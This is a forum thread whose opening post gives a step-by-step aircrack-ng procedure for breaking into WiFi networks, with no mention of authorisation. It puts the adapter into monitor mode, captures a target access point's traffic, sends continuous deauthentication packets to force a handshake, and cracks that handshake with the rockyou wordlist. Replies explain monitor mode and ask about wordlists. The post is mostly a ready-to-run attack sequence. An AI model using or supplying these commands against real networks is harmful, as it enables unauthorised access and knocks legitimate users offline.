HOW TO HACK WIFI PASSWORDS

! See interfaces
ip addr
iwconfig

!kill processes
sudo airmon-ng check kill

!Start monitor mode
sudo airmon-ng start wlan0

!Verify that monitor mode is used
sudo airmon-ng

!You could also use iwconfig to check that interface is in monitor mode:
iwconfig

! Get the AP's MAC address and channel
sudo airodump-ng wlan0mon

! AP-MAC & channel - you need to select your own here:
ESSID: 90:9A:4A:B8:F3:FB
Channel used by AP for SSID: 2

!1st Window:
!Make sure you replace the channel number and bssid with your own
!Replace hack1 with your file name like capture1 or something
sudo airodump-ng -w hack1 -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

!2nd Window - deauth attack
!Make sure you replace the bssid with your own
sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

!Use Wireshark to open hack file
wireshark hack1-01.cap
!Filter Wireshark messages for EAPOL
eapol

!Stop monitor mode
airmon-ng stop wlan0mon

!Crack file with Rock you or another wordlist
!Make sure you have rockyou in text format (unzip file on Kali)
!Replace hack1-01.cap with your file name
aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt
Thanks bro for that information

This is probably simple but what is monitor mode, is it when there looking\watching for a network?

You need a wifi adaptor that supports the monitor mode.
By default it will be in managed mode so you will need to turn it on such as:

-ifconfig wlan0 down
-iwconfig wlan0 mode monitor
-ifconfig wlan0 up

Normally an adapter is in managed mode. The actual frames are processed by the NIC, and the higher layers are passed up to the OS. Monitor mode allows capturing and injecting the WLAN frames, including management frames, and potentially radiotap headers. You cannot view or capture handshakes, probes, send deauth packets, capture traffic for other stations, and the like without switching to monitor mode.

Why use wireshark/open file?

The op is closed on the forum, your not going to get a reply, just letting you know.

OP posted a thread two minutes earlier asking how to use Fern. I doubt that he's even the author. He's one of those one-day users.
thanks for the information

🤣🤣
but still whats the best way to get a good wordlist depending on the country
im trying it, seems too easy to be real

It is. OP makes it sound like using a wordlist is all that you need to crack a password. When you've been running a password cracker for six months, you'll feel differently.
